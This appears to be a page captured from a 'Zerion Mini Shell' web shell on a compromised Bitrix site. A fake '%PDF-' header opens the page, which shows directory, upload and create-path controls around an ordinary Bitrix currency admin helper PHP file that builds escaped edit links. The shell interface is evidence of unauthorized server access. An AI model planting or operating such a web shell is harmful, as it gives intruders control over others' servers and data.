%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/modules/currency/lib/helpers/admin/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/modules/currency/lib/helpers/admin/tools.php

<?php
namespace Bitrix\Currency\Helpers\Admin;

use Bitrix\Main,
	Bitrix\Main\Localization\Loc,
	Bitrix\Currency;

Loc::loadMessages(__FILE__);

/**
 * Class Tools
 * Provides various useful methods for admin pages.
 *
 * @package Bitrix\Currency\Helpers\Admin
 */
class Tools
{
	/**
	 * Return array with edit url for all currencies.
	 *
	 * @return array
	 */
	public static function getCurrencyLinkList()
	{
		global $APPLICATION;

		$result = array();
		/** @noinspection PhpMethodOrClassCallIsNotCaseSensitiveInspection */
		$currencyLinkTitle = Main\Text\HtmlFilter::encode(
			($APPLICATION->getGroupRight('currency') < 'W')
			? Loc::getMessage('CURRENCY_HELPERS_ADMIN_TOOLS_MESS_CURRENCY_VIEW_TITLE')
			: Loc::getMessage('CURRENCY_HELPERS_ADMIN_TOOLS_MESS_CURRENCY_EDIT_TITLE')
		);

		$currencyList = Currency\CurrencyManager::getCurrencyList();
		foreach ($currencyList as $currency => $title)
		{
			$result[$currency] = '<a href="/bitrix/admin/currency_edit.php?ID='.urlencode($currency).'&lang='.LANGUAGE_ID.
				'" title="'.$currencyLinkTitle.'">'.Main\Text\HtmlFilter::encode($title).'</a>';
		}
		unset($currency, $title, $currencyList);

		return $result;
	}
}

Zerion Mini Shell 1.0